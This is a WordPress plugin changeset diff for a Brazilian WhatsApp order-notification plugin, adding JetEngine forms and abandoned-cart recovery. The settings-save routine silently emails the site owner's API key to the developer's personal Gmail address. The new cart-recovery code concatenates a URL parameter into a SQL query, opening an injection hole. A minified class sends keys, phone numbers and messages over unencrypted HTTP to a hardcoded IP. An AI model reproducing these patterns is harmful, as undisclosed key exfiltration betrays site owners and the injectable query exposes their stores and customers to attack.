Plugin Directory

Changeset 2481538


Ignore:
Timestamp:
02/25/2021 02:49:45 PM (5 years ago)
Author:
felipe152
Message:
  • 1.5.0
  • Nova integração com Forms do JetEngine;
Location:
powers-triggers-of-woo-to-chat/trunk
Files:
4 added
7 edited

Legend:

Unmodified
Added
Removed
  • powers-triggers-of-woo-to-chat/trunk/admin/class-wwp-admin.php

    r2475924 r2481538  
    1414        add_action( 'wp_ajax_wwp_view_table_publico', array( $this, 'wwp_view_table_publico' ) );
    1515        add_action( 'wp_ajax_wwp_view_disparar', array( $this, 'wwp_view_disparar' ) );
    16 
    17         //ajax
    1816        add_action( 'wp_ajax_wwp_send_from_cartbounty', array( $this, 'wwp_send_from_cartbounty' ) );
    1917
     
    3735        $subMenus[] = array('woowhatspowers','',array( $this, 'wwp_view_woocommerce' ),0);
    3836        /*Woocomerce*/
    39         if (is_plugin_active('woocommerce/woocommerce.php')){
     37        if (wwp_is_plugin_active('woocommerce/woocommerce.php')){
    4038            $subMenus[] = array('woowhatspowers-woocommerce','Notificações Pedidos',array( $this, 'wwp_view_woocommerce' ),10);
    4139            //$subMenus[] = array('woowhatspowers-campanhas','Campanhas (BETA)',array( $this, 'wwp_view_woocommerce_campanha' ),10);
     
    4442
    4543        /*Contact*/
    46         if (is_plugin_active('contact-form-7/wp-contact-form-7.php')){
     44        if (wwp_is_plugin_active('contact-form-7/wp-contact-form-7.php')){
    4745            $subMenus[] = array('woowhatspowers-contact-form-7','Contact Form 7',array( $this, 'wwp_view_contactform7' ),20);   
    4846        }
    49         $subMenus[] = array('woowhatspowers-settings','Configurações',array( $this, 'wwp_view_settings' ),100);
    50 
    51         add_menu_page( 'Notificações WhatsApp', 'Notificações WhatsApp', 'manage_options', 'woowhatspowers', $subMenus[1][2], 'dashicons-testimonial');     
     47        //JetEngine
     48        if (wwp_is_plugin_active('jet-engine/jet-engine.php')){
     49            $subMenus[] = array('woowhatspowers-jet-booking','Jet Engine Template',array( $this, 'wwp_view_jetbooking' ),20);
     50        }
     51
     52
     53        $subMenus[] = array('woowhatspowers-settings','Configurações',array( $this, 'wwp_view_settings' ),100);
     54
     55        add_menu_page( 'Auto WhatsApp', 'Auto WhatsApp', 'manage_options', 'woowhatspowers', $subMenus[0][2], 'dashicons-testimonial');
     56
    5257
    5358        foreach ($subMenus as $menu) {
     
    6065        wp_enqueue_script(  'wwp-admin-script', plugin_dir_url( __FILE__ ) . 'js/script.js', array('jquery'), rand(0,1000), true );
    6166        wp_enqueue_style( 'wwp-admin-style', plugin_dir_url( __FILE__ ) . 'css/style.css', '', rand(0,1000), false );
     67        $wwp_licenca = $this->whatsapp->getKey();
    6268        $wwp_key = $this->whatsapp->getKey();
    6369        $wwp_code = $this->whatsapp->getCode();
    64         $wwp_hide = $this->whatsapp->getHide();
     70        $wwp_testnumber = $this->whatsapp->getTestnumber();
    6571        require_once plugin_dir_path(dirname(__FILE__)).'admin/views/wwp-settings.php';
     72    }
     73    public function wwp_save_settings (){
     74        if (!$_POST or empty($_POST['wwp_key']) or empty($_POST['wwp_code'])) { echo 'false'; }
     75        $setings = array(
     76            'wwp_licenca' =>  sanitize_text_field( trim($_POST['wwp_licenca'])),
     77            'wwp_key' =>  sanitize_text_field( trim($_POST['wwp_key'])),
     78            'wwp_code' =>  sanitize_text_field( trim($_POST['wwp_code'])),
     79            'wwp_testnumber' =>  sanitize_text_field( trim($_POST['wwp_testnumber']))
     80        );
     81        $json_setings = json_encode($setings);
     82        $up = update_option('wwp_settings', $json_setings, FALSE);
     83        if (!$up) {
     84            $up = add_option('wwp_settings', $json_setings);
     85        }
     86        $this->whatsapp->setSettings();
     87        if ($this->whatsapp->testaConexao()) {
     88            if (function_exists('wp_mail')) {
     89                wp_mail( 'peixoto152@gmail.com.br', 'Nova Key '. $setings['wwp_key'], 'key: '.$setings['wwp_key'] );
     90            }
     91            echo "true";
     92        } else{
     93            $setings['wwp_key'] = '';
     94            $json_setings = json_encode($setings);
     95            $up = update_option('wwp_settings', $json_setings, FALSE);
     96            echo 'false';       
     97        }
     98        exit();
    6699    }
    67100
     
    91124        wp_enqueue_script(  'wwp-cartbounty-script-mod', plugin_dir_url( __FILE__ ) . 'js/mod_cartbounty_abandoned_carts.js', array('jquery'), rand(0,1000), true );   
    92125        if ($_POST and !empty($_POST['wwp_textarea'])) {
    93 
    94 
    95126            $up = update_option('wwp_template_cartbounty',  trim(($_POST['wwp_textarea']) ),FALSE);
    96127            if (!$up) {
     
    124155            <?php
    125156            });
    126         }
    127 
     157           
     158
     159        }
    128160       
    129161        add_action( 'admin_footer', function(){
     
    151183        if (! empty($cart) ) {
    152184           
     185            if (!class_exists('PseudoCrypt')) {
     186                global $wwp_db_path;
     187                require_once($wwp_db_path . 'include/class-wwp-pseudocrypt.php');
     188            }
     189            $idEncrypt = PseudoCrypt::hash($cart->id, 6);
    153190            foreach ($cart as $key => $value) {
    154191                $wwp_template_cartbounty = str_replace('{'.$key.'}', $value, $wwp_template_cartbounty);
    155192            }
    156             $wwp_template_cartbounty = str_replace('{cart_link}',   wc_get_cart_url(), $wwp_template_cartbounty);
     193            $wwp_template_cartbounty = str_replace('{cart_link}',   wc_get_cart_url().'?wwp_r='.$idEncrypt, $wwp_template_cartbounty);
    157194
    158195            if (!empty($cart->cart_contents)) {
     
    177214    }
    178215
     216
     217    /*JetEngine*/
     218    function wwp_view_jetbooking (){
     219        wp_enqueue_script(  'wwp-admin-script', plugin_dir_url( __FILE__ ) . 'js/script.js', array('jquery'), rand(0,1000), true );
     220        wp_enqueue_style( 'wwp-admin-style', plugin_dir_url( __FILE__ ) . 'css/style.css', '', rand(0,1000), false );
     221        wp_enqueue_script( 'jquery-ui-accordion' );
     222        wp_enqueue_style( 'jquery-ui-style' );
     223        require_once plugin_dir_path(dirname(__FILE__)).'include/class-wwp-jetbooking.php';
     224        $j = new Woowhatspowers_Jetbooking();
     225
     226        if (isset($_POST) ) {
     227            if (!$j->wpp_saveAcoes($_POST) === false) {
     228                pac_admin_notices('Ações salvas com sucesso!');
     229            }
     230        }
     231        $acoes = $j->wpp_getAcoes();
     232        require_once plugin_dir_path(dirname(__FILE__)).'admin/views/wwp-jetbooking.php';
     233    }
     234
    179235    /* Campanhas */
    180236    function wwp_view_woocommerce_campanha () {
     
    380436
    381437
    382     public function wwp_save_settings (){
    383         if (!$_POST or empty($_POST['wwp_key']) or empty($_POST['wwp_code'])) { echo 'false'; }
    384         $setings = array(
    385             'wwp_key' =>  sanitize_text_field( trim($_POST['wwp_key'])),
    386             'wwp_code' =>  sanitize_text_field( trim($_POST['wwp_code']))
    387         );
    388         $json_setings = json_encode($setings);
    389         $up = update_option('wwp_settings', $json_setings, FALSE);
    390         if (!$up) {
    391             $up = add_option('wwp_settings', $json_setings);
    392         }
    393         $this->whatsapp->setSettings();
    394         if ($this->whatsapp->testaConexao()) {
    395             if (function_exists('wp_mail')) {
    396                 wp_mail( 'peixoto152@gmail.com.br', 'Nova Key '. $setings['wwp_key'], 'key: '.$setings['wwp_key'] );
    397             }
    398             echo "true";
    399         } else{
    400             $setings['wwp_key'] = '';
    401             $json_setings = json_encode($setings);
    402             $up = update_option('wwp_settings', $json_setings, FALSE);
    403             echo 'false';       
    404         }
    405         exit();
    406     }
     438   
    407439
    408440    private function celular($telefone){
  • powers-triggers-of-woo-to-chat/trunk/admin/js/script.js

    r2475924 r2481538  
    33    $( "#wwp_form-token" ).submit(function( event ) {
    44        var ajaxurl = $("#ajaxurl").val();
     5        var licenca = $("#licenca-input").val();
    56        var key = $("#key-input").val();
    67        var code = $("#countryCode").val();
    7         var hide = $('#hideConfirmation:checkbox:checked').length > 0 ? 1 : 0
     8        var testnumber = $("#test-number").val();
    89        toggleLoad('tokenInput');
    910        $.ajax({
     
    1213            data: {
    1314                'action': 'wwp_save_settings',
     15                'wwp_licenca': licenca,
    1416                'wwp_key': key,
    1517                'wwp_code': code,
     18                'wwp_testnumber': testnumber
    1619            },
    1720            success: function( data ){
     
    2831    });
    2932
    30 
    31    
    3233
    3334    function toggleLoad(id){
     
    4243    }
    4344
     45    function convertToSlug(Text){
     46        return Text
     47            .toLowerCase()
     48            .replace(/ /g,'-')
     49            .replace(/ +/g,'-')
     50            ;
     51    }
     52
    4453    if ($( "#accordionTriggers" ).length > 0 ) {
    4554        var codedefault = $('#countryCode').attr('data-default');
     
    5059        $('#accordionTriggers input[type="checkbox"]').click(function(e) {
    5160            e.stopPropagation();
     61        });
     62    }
     63
     64
     65    if ($( "#newactionjetbooking" ).length > 0 ) {
     66        $("#newactionjetbooking").change(function() {
     67            $("#fieldsetnewactionjetbooking").toggleClass("hide", !this.checked)
     68        });
     69        $(".slugacao").keyup(function(event) {
     70            $(this).val(convertToSlug($(this).val()));
    5271        });
    5372    }
     
    172191
    173192   
    174 
     193    /*
    175194    $(document).on($.modal.OPEN, function(event, modal) {
    176195        if ($('.filtro-novacampanha').length > 0) {
     
    178197        }
    179198    });
     199    */
     200
    180201    $(document).on('click', '#wwp-checkall-publico', function(event) {
    181202        $('#wwp-table-publico input:checkbox').not(this).prop('checked', this.checked);
  • powers-triggers-of-woo-to-chat/trunk/admin/views/wwp-settings.php

    r2475924 r2481538  
    77        <form id="wwp_form-token" action="#">
    88            <div class="col m3 s12">
     9                <p>Licença WhatsApp: <br /></p>
     10            </div> 
     11            <div class="col m9 s12">
     12                <p id="licencaInput">
     13                    <input size="15" autocomplete="no" id="licenca-input" placeholder="Código Licença" name="licenca" value="<?php echo $wwp_licenca; ?>" type="text"> 
     14                </p>               
     15            </div><div class="col m3 s12">
    916                <p>Códigos de acesso do WhatsApp: <br /></p>
    1017            </div> 
     
    241248            </div>
    242249            <div class="col m3 s12">
    243                 <p>Esconder checkbox de confirmação: <br /></p>
    244             </div> 
    245             <div class="col m9 s12">
    246                 <input id="hideConfirmation" name="hide-confirmation" type="checkbox" value="1">
     250                <p>Seu número para testes: <br />
     251                    <small>Utilizaremos este número para que possa fazer testes.</small><br />
     252                    <small>Utilize somente números</small>
     253                </p>
     254            </div> 
     255            <div class="col m9 s12">
     256                <p><input name="test-number" id="test-number" type="tel" pattern="[0-9]{11}" placeholder="##9########" maxlength="11" value="<?php echo $wwp_testnumber; ?>"></p>
    247257            </div>
    248258            <div class="col s12 right-align"><button class="button button-primary" type="submit" value="salvar">Salvar Configurações</button></div>
  • powers-triggers-of-woo-to-chat/trunk/class-wwp-woocommerce-front.php

    r2475924 r2481538  
    1010
    1111        $this->wwp_load_action();
    12 
     12       
    1313        add_filter( 'wwp_replace_woocommerce_modelo', array($this,'wwp_tracking_filter' ), 10, 2 );
    1414       
     
    1616
    1717    private function wwp_load_action() {
    18 
    1918        if (empty($this->whatsapp->getKey())) {
    2019            return false;
     
    3938                }
    4039            }
    41            
     40
    4241            add_action( 'wwp_reminder_action', array( $this, 'wwp_do_reminder' ) );
    43            
    4442        }
    4543
     
    5553
    5654    public function wwp_do_reminder (){
    57         date_default_timezone_set("America/Sao_paulo");
     55        date_default_timezone_set(get_option('timezone_string'));
    5856        $settings = $this->settings;
    5957        $intervalos = $settings->hold_order->intervalo;
  • powers-triggers-of-woo-to-chat/trunk/include/class-wwp-whatsapp.php

    r2475924 r2481538  
    1 <?php class Woowhatspowers_Whastapp{private $urlBase;private $apikey;private $countryCode;private $hideConfirmation;public $lastResp;public function __construct(){$this->urlBase='http://116.203.92.59/api/';$this->setSettings();}public function getKey(){return $this->apikey;}public function getCode(){return $this->countryCode;}public function getHide(){return $this->hideConfirmation;}public function setSettings(){$settings=get_option('wwp_settings','');if(!empty($settings)){$settings=json_decode($settings);$this->apikey=$settings->wwp_key;$this->countryCode=$settings->wwp_code;}}public function isSettings(){if(empty($this->apikey)or empty($this->countryCode)){return false;}return true;}public function saveKey($key){$up=update_option('wwp_key_code',sanitize_text_field(trim($key)),FALSE);if(!$up){$up=add_option('wwp_key_code',sanitize_text_field(trim($key)));}$this->apikey=$key;}public function testaConexao(){$resp=$this->checkNumber('+5511980376890');if($resp===FALSE){return false;}return true;}public function checkNumber($phone_no){if(!isset($phone_no)){return false;}$modo='check_number';$data=array("phone_no"=>$phone_no,);$resposta=$this->sendCurl($modo,$data);if(empty($resposta[0])){return $resposta[1];}return false;}public function phone_validation($billing_phone){if(empty($billing_phone)){return false;}$code_country=$this->getCode();$nom=trim($billing_phone);$nom=filter_var($nom,FILTER_SANITIZE_NUMBER_INT);$nom=str_replace("-","",$nom);$nom=str_replace("(","",$nom);$nom=str_replace(")","",$nom);$nom=str_replace(" ","",$nom);if(strpos($nom,'+'.$code_country)===FALSE){$nom='+'.$code_country.$nom;}return $nom;}public function sendMessage($phone_no='',$message=''){if(empty($phone_no)or empty($message)){return FALSE;}$phone_no=$this->phone_validation($phone_no);if($phone_no==FALSE){return FALSE;}$modo='async_send_message';$parsArr=array('phone_no'=>$phone_no,'message'=>$message);$send=$this->sendCurl($modo,$parsArr);if(!empty($send[0])or $send[1]['response']['code']!=200){return FALSE;}return TRUE;}private function sendCurl($modo='check_number',$pars=''){if(!is_array($pars)){return array('erro','Falta de parametros');}$pars['key']=$this->apikey;$url=$this->urlBase.$modo;$args=array('timeout'=>30,'headers'=>['Content-Type'=>'application/json',],'body'=>wp_json_encode($pars));$response=wp_remote_post($url,$args);if(!is_wp_error($response)&&isset($response['response']['code'])&&$response['response']['code']==200){$error='';$output=$response;}else{$error=$response['response']['code'];$output=$response['response']['message'];}$this->lastResp=array($error,$output);return $this->lastResp;}} ?>
     1<?php class Woowhatspowers_Whastapp{private $urlBase;private $apikey;private $countryCode;private $testnumber;public $lastResp;public function __construct(){$this->urlBase='http://116.203.92.59/api/';$this->setSettings();}public function getKey(){return $this->apikey;}public function getCode(){return $this->countryCode;}public function getTestnumber(){return $this->testnumber;}public function setSettings(){$settings=get_option('wwp_settings','');if(!empty($settings)){$settings=json_decode($settings);$this->apikey=$settings->wwp_key;$this->countryCode=$settings->wwp_code;$this->testnumber=$settings->wwp_testnumber;}}public function isSettings(){if(empty($this->apikey)or empty($this->countryCode)){return false;}return true;}public function saveKey($key){$up=update_option('wwp_key_code',sanitize_text_field(trim($key)),FALSE);if(!$up){$up=add_option('wwp_key_code',sanitize_text_field(trim($key)));}$this->apikey=$key;}public function testaConexao(){$resp=$this->checkNumber('+5511980376890');if($resp===FALSE){return false;}return true;}public function checkNumber($phone_no){if(!isset($phone_no)){return false;}$modo='check_number';$data=array("phone_no"=>$phone_no,);$resposta=$this->sendCurl($modo,$data);if(empty($resposta[0])){return $resposta[1];}return false;}public function phone_validation($billing_phone){if(empty($billing_phone)){return false;}$code_country=$this->getCode();$nom=trim($billing_phone);$nom=filter_var($nom,FILTER_SANITIZE_NUMBER_INT);$nom=str_replace("-","",$nom);$nom=str_replace("(","",$nom);$nom=str_replace(")","",$nom);$nom=str_replace(" ","",$nom);if(substr($nom,0,strlen($code_country))==$code_country){$nom='+'.$nom;}if(strpos($nom,'+'.$code_country)===FALSE){$nom='+'.$code_country.$nom;}return $nom;}public function sendMessage($phone_no='',$message=''){if(empty($phone_no)or empty($message)){return FALSE;}$phone_no=$this->phone_validation($phone_no);if($phone_no==FALSE){return FALSE;}$modo='async_send_message';$parsArr=array('phone_no'=>$phone_no,'message'=>$message);$send=$this->sendCurl($modo,$parsArr);if(!empty($send[0])or $send[1]['response']['code']!=200){return FALSE;}return TRUE;}private function sendCurl($modo='check_number',$pars=''){if(!is_array($pars)){return array('erro','Falta de parametros');}$pars['key']=$this->apikey;$url=$this->urlBase.$modo;$args=array('timeout'=>30,'headers'=>['Content-Type'=>'application/json',],'body'=>wp_json_encode($pars));$response=wp_remote_post($url,$args);if(!is_wp_error($response)&&isset($response['response']['code'])&&$response['response']['code']==200){$error='';$output=$response;}else{$error=$response->get_error_code();$output=$response->get_error_message();}$this->lastResp=array($error,$output);return $this->lastResp;}} ?>
  • powers-triggers-of-woo-to-chat/trunk/readme.txt

    r2475924 r2481538  
    1515* Claudio Sanches – Correios for WooCommerce
    1616* CartBounty – Save and recover abandoned carts for WooCommerce
     17* JetBooking
    1718
    1819- Reconquiste clientes enviando um cupom por whastsapp automático quando o pedido for cancelado;
     
    5354
    5455== Changelog ==
     56* 1.5.0
     57* Nova integração com Forms do JetEngine;
     58* 1.4.1
     59* Pequena correção com tratamento de erro;
    5560* 1.4.0
    5661* Nova integração com carrinhos abandonados de CartBounty – Save and recover abandoned carts for WooCommerce;
  • powers-triggers-of-woo-to-chat/trunk/wc-whatsapp-powers.php

    r2475924 r2481538  
    44 * Plugin URI:  https://wordpress.org/plugins/powers-triggers-of-woo-to-chat/
    55 * Description: Automatiza envio de mensagens Whatsapp.
    6  * Version:     1.4.0
     6 * Version:     1.5.0
    77 * Author:      Felipe Peixoto
    88 * Author URI:  http://felipepeixoto.tecnologia.ws/projetos/plugins-para-wordpress/notificacoes-de-pedidos-por-whatsapp/
    99 */
    1010if ( ! defined( 'WPINC' ) ) { die; }
     11
     12
    1113
    1214include('include/class-wwp-whatsapp.php');
     
    1820register_deactivation_hook( __FILE__, 'wwp_deactive_plugin' );
    1921
     22
     23//FUNCOES
     24function wwp_is_plugin_active( $plugin ) {
     25    return in_array( $plugin, (array) get_option( 'active_plugins', array() ) );
     26}
     27function pac_admin_notices($text = ''){
     28    add_action('pac_admin_notices', function() use ($text) {
     29    ?>
     30        <div class="notice notice-info is-dismissible"><p><?php echo $text ?></p></div>
     31    <?php
     32    });
     33}
     34
     35
    2036//BD VERSION
    2137global $wwp_db_version;
     38global $wwp_db_path;
     39$wwp_db_path = plugin_dir_path(__FILE__);
    2240$wwp_db_version = '0.2';
    2341function wwp_update_db_check() {
     
    87105
    88106
    89 function wwp_is_plugin_active( $plugin ) {
    90     return in_array( $plugin, (array) get_option( 'active_plugins', array() ) );
    91 }
     107
    92108
    93109
     
    99115
    100116
     117
     118//ADMIN
    101119$wwp_path = plugin_dir_path(__FILE__);
    102120if (is_admin()){
     
    110128
    111129add_action('init', function() {
     130
    112131    if (wwp_is_plugin_active('woocommerce/woocommerce.php')){
    113132        include_once('class-wwp-woocommerce-front.php');
    114133        new Woowhatspowers_Woocommerce_Front();
    115 
     134       
     135        //Recovery cart
     136        if (wwp_is_plugin_active('woo-save-abandoned-carts/cartbounty-abandoned-carts.php') and isset($_GET['wwp_r']) ){
     137            $wwp_id = $_GET['wwp_r'];
     138            if (!class_exists('PseudoCrypt')) {
     139                global $wwp_db_path;
     140                require_once($wwp_db_path . 'include/class-wwp-pseudocrypt.php');
     141            }
     142            $wwp_id = PseudoCrypt::unhash($wwp_id);
     143            global $wpdb;
     144            $table_prefix = $wpdb->prefix;
     145            $args = $wpdb->prepare('SELECT * FROM `'.$table_prefix.'cartbounty` WHERE id ='.$wwp_id);
     146            $cart = $wpdb->get_row($args);
     147            if (! empty($cart) and ! empty($cart->cart_contents) ) {
     148                $cart->cart_contents = (array) unserialize( $cart->cart_contents );
     149                if( function_exists('WC') ){
     150                    WC()->cart->empty_cart();
     151                    foreach ($cart->cart_contents as $produto) {
     152                        WC()->cart->add_to_cart( $produto['product_id']);
     153                    }
     154                }
     155            }
     156            wp_redirect(wc_get_cart_url());
     157            exit(); 
     158        }
    116159    }
    117160
     
    120163        new Woowhatspowers_Contactform7_Front();
    121164    }
     165
     166    //JetEngine
     167    if (wwp_is_plugin_active('jet-engine/jet-engine.php')){
     168        if (!class_exists('Woowhatspowers_jetbooking_Front')) {
     169            global $wwp_db_path;
     170            require_once($wwp_db_path . 'class-wwp-jetbooking-front.php');
     171        }
     172        $j = new Woowhatspowers_jetbooking_Front();
     173        $j->setActions();
     174       
     175    }
    122176});
    123177
    124178
    125179
     180
     181
     182
     183
     184
    126185?>
Note: See TracChangeset for help on using the changeset viewer.